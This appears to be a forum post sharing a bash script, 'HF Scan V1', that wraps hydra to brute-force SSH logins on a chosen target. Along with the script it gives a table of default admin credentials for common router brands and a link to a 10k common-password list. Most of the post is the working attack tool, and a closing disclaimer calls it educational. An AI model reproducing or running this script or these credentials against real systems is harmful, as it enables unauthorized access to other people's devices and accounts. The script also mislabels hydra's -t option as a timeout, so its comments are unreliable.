[Clumsy]

About the script.
The script checks if hydra is installed, which is required for the brute force attack.


Parameter Handling.
It uses command line arguments for user configurability including SSH port, timeout, and paths to user and password lists.
Running Hydra It uses the hydra command to launch a brute-force attack, with verbosity enabled to see login attempts and stops on the first success (-f flag).

Usage.
You would need to have a user list and a password list, stored by default in users.lst and pass.lst.

EXAMPLE

Code

3Com    http://192.168.1.1    admin    admin
Belkin    http://192.168.2.1    admin    admin
BenQ    http://192.168.1.1    admin    admin
D-Link    http://192.168.0.1    admin    admin
Digicom    http://192.168.1.254    admin    michelangelo
Digicom    http://192.168.1.254    user    password
Linksys    http://192.168.1.1    admin    admin
Netgear    http://192.168.0.1    admin    password
Sitecom    http://192.168.0.1    sitecom    admin
Thomson    http://192.168.1.254    user    user
US Robotics    http://192.168.1.1    admin    admin
[CODE]

Password List [url=https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt]https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt[/url]

[CODE]
#!/bin/bash

sudo apt install hydra -y

flash_text() {
    for i in {1..5}; do
echo -e "Welcome To HF Scan V1 By Clumsy"
echo -e "                                                                     "
echo -e "─────────▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄─────────"
echo -e "───────▄▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▀▄───────"
echo -e "──────▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌──────"
echo -e "──────▐▒▒▒███▒▒▒▒▒▒▒▒███▒▒▒▌──────"
echo -e "▄▄────▐▒▒▒███▒▒▒▒▒▒▒▒███▒▒▒▌────▄▄"
echo -e "▌▒▀▄──▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌──▄▀▒▐"
echo -e "▌▒▒▒▀▄█▒▒▒▄▀▄▄▀▀▄▄▀▀▄▄▀▄▒▒▒█▄▀▒▒▒▐"
echo -e "▀▄▒▒▒▒▐▒▒▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌▒▒▌▒▒▒▒▄▀"
echo -e "──▀▄▒▒▐▒▒▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌▒▒▌▒▒▄▀──"
echo -e "────▀▄▐▒▒▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌▒▒▌▄▀────"
echo -e "──────█▒▒▐▄▀▄▀▀▄▄▀▀▄▄▀▀▄▌▒▒█──────"
echo -e "──────▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌──────"
echo -e "──────▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌──────"
echo -e "──────▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌──────"
echo -e "──────▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌──────"
echo -e "──────▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌──────"
echo -e "──────▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌──────"
echo -e "──────▐▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▌──────"
echo -e "──────▐▒▒▓▓▓▓▒▒▒▒▒▒▒▒▓▓▓▓▒▒▌──────"
echo -e "──────▐▒▒▒▒▒▒▓▓▄▀▀▄▓▓▒▒▒▒▒▒▌──────"
echo -e "──────▐▒▒▒▒▒▒▒▒▌──▐▒▒▒▒▒▒▒▒▌──────"
echo -e "──────▐▒▒▒▒▒▒▒▒▌──▐▒▒▒▒▒▒▒▒▌──────"
echo -e "──────▐▒▒▒▒▒▒▒▒▌──▐▒▒▒▒▒▒▒▒▌──────"
echo -e "──────▐▒▒▒▒▒▒▒▒▌──▐▒▒▒▒▒▒▒▒▌──────"
echo -e "───────▀▀▀▀▀▀▀▀────▀▀▀▀▀▀▀▀───────"
sleep 0.5
        printf "\033[8A"
        sleep 0.5
    done
}
flash_text

# Check if necessary tools are installed
if ! command -v hydra &> /dev/null
then
    echo "hydra could not be found, please install it to use this script."
    exit
fi

# Default values
SSH_PORT=22
TIMEOUT=5
USER_LIST="users.lst"
PASS_LIST="pass.lst"
TARGET="$1"

# Usage function
usage() {
    echo "Usage: $0 <target>"
    echo "Optional parameters:"
    echo "  -p <port>                SSH port (default: 22)"
    echo "  -U <user list file>      File containing list of usernames (default: users.lst)"
    echo "  -P <password list file>  File containing list of passwords (default: pass.lst)"
    echo "  -t <timeout>             Timeout in seconds (default: 5)"
    exit 1
}

# Parse command-line options
while getopts ":p:U:P:t:" opt; do
  case ${opt} in
    p )
      SSH_PORT=$OPTARG
      ;;
    U )
      USER_LIST=$OPTARG
      ;;
    P )
      PASS_LIST=$OPTARG
      ;;
    t )
      TIMEOUT=$OPTARG
      ;;
    \? )
      echo "Invalid option: $OPTARG" 1>&2
      usage
      ;;
    : )
      echo "Invalid option: $OPTARG requires an argument" 1>&2
      usage
      ;;
  esac
done
shift $((OPTIND -1))

# Check if target is provided
if [ -z "${TARGET}" ]; then
    usage
fi

# Run Hydra to perform the brute force attack
echo "Starting brute-force attack on $TARGET..."
hydra -t $TIMEOUT -V -f -L $USER_LIST -P $PASS_LIST -s $SSH_PORT ssh://$TARGET

Disclaimer

The creator of this post hereby declares that they are not responsible for any actions taken by users with the provided script. The script is intended solely as a demonstration and educational guide to illustrate how SSH brute forcing is carried out. Any use of the script for unauthorized or illegal purposes is entirely at the user's own risk. The creator strongly advises users to adhere to ethical standards and respect all applicable laws and regulations regarding computer security and usage. By utilizing the script, users acknowledge and accept full responsibility for their actions and any consequences that may arise.